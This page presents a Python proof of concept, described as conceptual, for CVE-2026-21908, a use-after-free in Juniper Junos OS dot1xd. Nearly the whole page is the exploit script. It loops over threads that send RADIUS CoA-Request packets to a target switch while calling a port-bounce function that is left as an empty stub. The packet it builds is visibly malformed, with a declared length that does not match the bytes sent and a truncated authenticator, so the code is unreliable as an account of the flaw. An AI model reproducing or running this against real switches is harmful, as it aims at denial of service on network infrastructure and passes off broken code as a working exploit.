CVE-2026-21908: Juniper Junos OS dot1xd进程Use After Free高危漏洞

# CVE-2026-21908 PoC - Conceptual demonstration # Note: Actual exploitation requires precise timing control import socket import struct import time import threading def send_coa_request(target_ip, port=3799): """Send RADIUS Change of Authorization request""" # CoA-Request packet structure (simplified) coa_packet = b'\x03\x01' # Code: CoA-Request, id coa_packet += struct.pack('!H', 100) # Length coa_packet += b'\x00\x00\x00\x01' # Authenticator coa_packet += b'\x00\x06\x00\x00' # Attributes placeholder sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(coa_packet, (target_ip, port)) sock.close() def trigger_port_bounce(switch_ip, interface): """Trigger port bounce on target interface""" # This would typically use SNMP or SSH to admin-disable/enable port # Pseudocode for demonstration: # disable_port(switch_ip, interface) # time.sleep(0.01) # Critical timing window # enable_port(switch_ip, interface) pass def exploit_cve_2026_21908(target_ip, interface, duration=60): """ Conceptual exploit for CVE-2026-21908 Requires authenticated network access and 802.1X enabled """ print(f"[*] Starting CVE-2026-21908 exploit attempt on {target_ip}") print(f"[*] Target interface: {interface}") print(f"[*] Duration: {duration} seconds") # Race condition: CoA request during port bounce # This is a theoretical PoC - actual exploitation is timing-dependent start_time = time.time() while time.time() - start_time < duration: # Thread 1: Send CoA request threading.Thread(target=send_coa_request, args=(target_ip,)).start() # Thread 2: Trigger port bounce threading.Thread(target=trigger_port_bounce, args=(target_ip, interface)).start() time.sleep(0.5) # Retry interval print("[*] Exploit attempt completed") if __name__ == "__main__": print("[!] This is a conceptual PoC for educational purposes only") print("[!] Actual exploitation requires specific network conditions and timing") # Example: exploit_cve_2026_21908('192.168.1.1', 'ge-0/0/1')